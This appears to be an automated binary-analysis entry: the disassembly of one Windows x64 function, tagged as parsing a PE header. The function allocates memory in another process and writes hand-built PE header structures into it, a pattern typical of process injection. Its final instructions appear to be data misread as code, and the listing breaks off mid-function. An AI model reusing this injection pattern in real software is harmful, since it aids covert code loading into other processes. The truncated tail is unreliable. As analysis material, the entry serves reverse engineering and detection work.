Function at 0x140005290
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x258
mov rax, qword [0x140012060]
xor rax, rsp
mov qword [rsp + 0x248], rax
mov eax, dword [rsp + 0x288]
add rax, 0x1c8
mov dword [rsp + 0x190], eax
mov r8d, dword [rsp + 0x190]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x198], rax
cmp qword [rsp + 0x198], 0
jne 0x140005313
xor eax, eax
jmp 0x1400056d3
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x1c0], 0
mov r8d, 0x40
xor edx, edx
lea rcx, [rsp + 0x1d0]
call fcn.1400060d0
mov edx, 0x5a4d
mov word [rsp + 0x1d0], dx
mov dword [rsp + 0x20c], 0x40
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rsp + 0x1d0]
mov rdx, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000539c
cmp qword [rsp + 0x1c0], 0x40
je 0x1400053a3
xor eax, eax
jmp 0x1400056d3
mov rax, qword [rsp + 0x140]
add rax, 0x40
mov qword [rsp + 0x140], rax
mov r8d, 0x108
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1400060d0
mov dword [rsp + 0x30], 0x4550
mov eax, 0xf0
mov word [rsp + 0x44], ax
mov eax, 0x2000
mov word [rsp + 0x46], ax
mov eax, 1
mov word [rsp + 0x36], ax
mov eax, 0x20b
mov word [rsp + 0x48], ax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 0x108
lea r8, [rsp + 0x30]
mov rdx, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140005439
cmp qword [rsp + 0x1c0], 0x108
je 0x140005440
xor eax, eax
jmp 0x1400056d3
mov rax, qword [rsp + 0x140]
add rax, 0x108
mov qword [rsp + 0x140], rax
mov r8d, 0x28
xor edx, edx
lea rcx, [rsp + 0x210]
call fcn.1400060d0
mov r8d, 8
lea rdx, [0x14000e3a0]
lea rcx, [rsp + 0x210]
call fcn.140005d80
mov rax, qword [rsp + 0x140]
add rax, 0x28
sub rax, qword [rsp + 0x198]
mov dword [rsp + 0x21c], eax
mov eax, dword [rsp + 0x288]
add rax, 0x58
mov dword [rsp + 0x220], eax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 0x28
lea r8, [rsp + 0x210]
mov rdx, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400054f2
cmp qword [rsp + 0x1c0], 0x28
je 0x1400054f9
xor eax, eax
jmp 0x1400056d3
mov rax, qword [rsp + 0x140]
add rax, 0x28
mov qword [rsp + 0x140], rax
mov r8d, 0x40
xor edx, edx
lea rcx, [rsp + 0x150]
call fcn.1400060d0
mov dword [rsp + 0x150], 0x40
mov dword [rsp + 0x154], 0x727444
mov dword [rsp + 0x158], 0x40
mov eax, dword [rsp + 0x288]
add rax, 0x58
mov dword [rsp + 0x15c], eax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rsp + 0x150]
mov rdx, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140005595
cmp qword [rsp + 0x1c0], 0x40
je 0x14000559c
xor eax, eax
jmp 0x1400056d3
mov rax, qword [rsp + 0x140]
add rax, 0x40
mov qword [rsp + 0x140], rax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x1a8]
call fcn.1400060d0
mov eax, dword [rsp + 0x288]
add rax, 0x18
mov dword [rsp + 0x1a8], eax
mov dword [rsp + 0x1ac], 0
lea rdi, [rsp + 0x238]
mov rsi, qword [rsp + 0x278]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x1b0]
lea rsi, [rsp + 0x238]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 0x18
lea r8, [rsp + 0x1a8]
mov rdx, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x270]
add al, byte [rax]
add bh, bh
adc eax, 0x8a37